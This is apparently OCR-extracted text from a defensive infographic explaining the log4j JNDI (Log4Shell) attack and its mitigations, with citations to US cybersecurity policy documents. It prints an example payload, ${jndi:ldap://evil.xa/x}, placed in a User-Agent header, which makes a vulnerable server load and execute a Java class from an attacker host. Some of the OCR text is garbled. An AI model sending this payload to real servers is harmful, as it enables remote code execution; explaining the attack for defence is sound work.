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The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a The string is passed to log4j log4j interpolates the string and
header field that is likely to be logged. for logging queries the malicious LDAP server.
“” &t ?
GET /test HTTP/1.1 HTTP ${indi:ldap://evil.xa/x} ldap://evil.xa/x
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x} g DISABLE JNDI LOOKUPS
BLOCK WITH WAF
© €) PATCH LOG4)
Attacker Vulnerable Server Vulnerable log4j Malicious LDAP Server
A http://victimxa implementation Idap://evilxa
2
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LS ot
€ DisaABLE
REMOTE ? n
CODEBASES
- ‘&t !
public class Malicious implements Serializable { dn:
e javaClassName: Malicious
s“"i;ﬂ{mmu‘ —— javaCodebase: http://evil.xa
javaSerializedData: <...>
}
e The LDAP server responds with directory
}AVIA Flesenahzes[ (or dozvnloads) th? information that contains the malicious
©®® CorceRTen malicious Java class and executes it. Java class
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* The White House, “Executive Order on Improving the Nation’s Cybersecurity”, May 12, 2021, https://www.whitehouse.gov/briefing-room/
presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity.
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CISA, “Executive Order on Improving the Nation’s Cybersecurity”, https://www.cisa.gov/topics/cybersecurity-best-practices/executive-order-
improving-nations-cybersecurity.
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